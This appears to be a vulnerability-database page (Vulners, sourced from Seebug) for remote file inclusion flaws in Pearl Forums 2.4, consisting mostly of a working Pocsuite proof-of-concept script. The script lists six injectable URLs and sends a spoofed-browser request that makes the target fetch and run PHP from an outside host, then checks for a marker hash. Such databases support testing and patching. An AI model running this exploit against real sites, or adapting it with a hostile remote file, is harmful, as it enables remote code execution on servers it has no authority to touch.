Lucene search
K

Pearl Forums 2.4 - Multiple Remote File Include Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 33 Views

Pearl Forums 2.4 Multiple Remote File Include Vulnerabilities. Allows remote attackers to execute arbitrary PHP cod

Code

                                                #!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import re

class TestPOC(POCBase):
    vulID = '64261'  # ssvid
    version = '1.0'
    author = ['kikay']
    vulDate = '2006-11-21'
    createDate = '2016-01-04'
    updateDate = '2016-01-04'
    references = ['http://www.sebug.net/vuldb/ssvid-64261']
    name = 'Pearl Forums 2.4 - Multiple Remote File Include Vulnerabilities'
    appPowerLink = 'N/A'
    appName = 'Pearl Forums'
    appVersion = '2.4'
    vulType = 'Remote File Include'
    desc = '''
        Pearl Forums 2.4存在多处远程文件包含漏洞:
        (1)http://[target]/[path]/includes/admin.php?templatesDirectory=evil
        (2)http://[target]/[path]/includes/password.php?GlobalSettings[templatesDirectory]=evil
        (3)http://[target]/[path]/includes/profile.php?GlobalSettings[templatesDirectory]=evil
        (4)http://[target]/[path]/includes/merge.php?GlobalSettings[templatesDirectory]=evil
        (5)http://[target]/[path]/includes/adminPolls.php?GlobalSettings[templatesDirectory]=evil
        (6)http://[target]/[path]/includes/poll.php?GlobalSettings[templatesDirectory]=evill
        远程攻击者可以利用该漏洞,执行任意PHP代码。
    '''
    samples = ['']

    def _attack(self):
        return self._verify()

    def _verify(self):
        #利用/includes/profile.php文件验证RFI漏洞
        result = {}
        #<?php echo md5('3.1416');?>
        payload='http://tool.scanv.com/wsl/php_verify.txt?'
        #测试用的payload
        vulurl='{url}/includes/profile.php?GlobalSettings[templatesDirectory]={evil}'.format(url=self.url,evil=payload)
        #伪造的HTTP头
        httphead = {
          'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
          'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Connection':'keep-alive'
        }
        #发送测试请求
        resp=req.get(url=vulurl,headers=httphead,timeout=50)
        #md5('3.1416')=d4d7a6b8b3ed8ed86db2ef2cd728d8ec
        match = re.search('d4d7a6b8b3ed8ed86db2ef2cd728d8ec', resp.content)
        #如果成功匹配到md5('3.1416'),证明漏洞验证成功
        if match:
            #返回测试信息
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation